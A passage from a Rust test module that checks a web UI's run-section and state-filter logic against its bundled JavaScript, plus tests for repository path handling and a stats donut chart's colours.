18991            let waiting = entry.contains("waiting: true");
18992            let dead = entry.contains("live: \"dead\"");
18993            let status_at =
18994                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
18995            let status_end = entry[status_at..]
18996                .find('"')
18997                .expect("the status string is closed")
18998                + status_at;
18999            let parked = entry.contains("display_status: \"parked\"");
19000            shapes.push((
19001                waiting,
19002                entry[status_at..status_end].to_string(),
19003                dead,
19004                parked,
19005            ));
19006        }
19007        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
19008
19009        // The done rule itself (`!["implementing"].includes(shape.status)`),
19010        // read out of the source rather than hardcoded, so a renamed
19011        // in-flight status can't silently make every parsed shape "done".
19012        let done_rule_marker = "done: !";
19013        let done_rule_at = APP_JS[shapes_close..]
19014            .find(done_rule_marker)
19015            .expect("the done rule follows the shape list")
19016            + shapes_close
19017            + done_rule_marker.len();
19018        let includes_at = APP_JS[done_rule_at..]
19019            .find(".includes(shape.status)")
19020            .expect("the done rule ends in .includes(shape.status)")
19021            + done_rule_at;
19022        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
19023            .trim()
19024            .trim_start_matches('[')
19025            .trim_end_matches(']')
19026            .split(',')
19027            .map(|s| s.trim().trim_matches('"'))
19028            .filter(|s| !s.is_empty())
19029            .collect();
19030
19031        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
19032            .into_iter()
19033            .map(|(waiting, status, dead, parked)| {
19034                let done = !not_done.contains(&status.as_str());
19035                (waiting, status, dead, parked, done)
19036            })
19037            .collect();
19038
19039        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
19040        // outright, then merged/ready land, stalled/blocked/failed/
19041        // verified_noop end, and everything else is still in flight.
19042        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
19043            if waiting {
19044                return "waiting";
19045            }
19046            if dead
19047                && !parked
19048                && !matches!(
19049                    status,
19050                    "merged"
19051                        | "ready"
19052                        | "stalled"
19053                        | "blocked"
19054                        | "failed"
19055                        | "verified_noop"
19056                        | "superseded"
19057                        | "already_in_base"
19058                )
19059            {
19060                return "stale";
19061            }
19062            match status {
19063                "merged" | "ready" => "landed",
19064                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
19065                | "already_in_base" => "ended",
19066                _ => "flight",
19067            }
19068        }
19069
19070        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
19071        // way.
19072        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
19073            match filter_key {
19074                "active" => !done,
19075                "flight" => !done && !waiting && !dead,
19076                "stale" => !done && !waiting && dead,
19077                "waiting" => waiting,
19078                "done" => done,
19079                "all" => true,
19080                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
19081            }
19082        }
19083
19084        let compatible = |section: &str, filter_key: &str| {
19085            shapes.iter().any(|(waiting, status, dead, parked, done)| {
19086                run_section(*waiting, status, *dead, *parked) == section
19087                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
19088            })
19089        };
19090
19091        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
19092        // (active, flight, stale, waiting, done, all) - hand-derived from the
19093        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
19094        // currently contains.
19095        let expected = [
19096            ("waiting", [true, false, false, true, true, true]),
19097            ("stale", [true, false, true, false, false, true]),
19098            ("flight", [true, true, false, false, false, true]),
19099            ("landed", [false, false, false, false, true, true]),
19100            ("ended", [false, false, false, false, true, true]),
19101        ];
19102        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
19103
19104        for (section, wants) in expected {
19105            for (filter_key, want) in filter_keys.iter().zip(wants) {
19106                assert_eq!(
19107                    compatible(section, filter_key),
19108                    want,
19109                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
19110                );
19111            }
19112        }
19113
19114        // The compatibility check exists only to be acted on: both pickers
19115        // must actually consult it rather than just render its answer.
19116        assert!(
19117            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
19118        );
19119        assert!(APP_JS.contains(
19120            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
19121        ));
19122        assert!(APP_JS.contains(
19123            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
19124        ));
19125    }
19126
19127    #[tokio::test]
19128    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
19129        // An operator-named directory - git checkout or not - is never
19130        // second-guessed, even when it does not exist at all: only the
19131        // flag's own unmodified `.` default is ever eligible for discovery.
19132        let dir = tempfile::tempdir().expect("tempdir");
19133        let explicit = dir.path().join("not-a-checkout");
19134        std::fs::create_dir_all(&explicit).expect("create dir");
19135        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
19136
19137        let missing = dir.path().join("does-not-exist-at-all");
19138        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
19139    }
19140
19141    #[test]
19142    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
19143        assert!(APP_JS.contains("function statsDonutArcs"));
19144        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
19145        // A bucket click filters by the statuses src/stats.rs counts in it.
19146        assert!(APP_JS.contains("function statusInBucket"));
19147        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
19148        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
19149        let buckets = [
19150            "merged",
19151            "ready",
19152            "in_progress",
19153            "blocked",
19154            "failed",
19155            "verified_noop",
19156            "superseded",
19157            "stalled",
19158        ];
19159        for key in buckets {
19160            let var = format!("--verdict-{key}:");
19161            // Light, OS-dark and pinned-dark blocks each define it.
19162            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
19163            assert!(
19164                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
19165                "{key}"
19166            );
19167        }
19168    }
19169}